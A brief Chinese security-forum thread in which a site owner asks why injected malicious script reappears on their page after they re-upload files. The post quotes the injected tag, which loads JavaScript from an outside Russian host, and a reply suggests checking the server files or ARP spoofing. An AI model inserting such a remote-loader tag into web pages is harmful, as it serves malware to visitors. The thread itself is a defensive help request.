瑞星卡卡安全论坛

有个网页被挂马如下，修改了文件上传后刷新挂马代码还是在。


<script type="text/javascript" src="http://pantscow.ru:8080/Heat_Sink.js"></script>
<!--1402ff4387c34b0eaa394e88ecc74238-->


如何搞？


用户系统信息：Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0

检查服务器本地文件是否有这个，如果本地没有只是访问时候才有，可能是arp。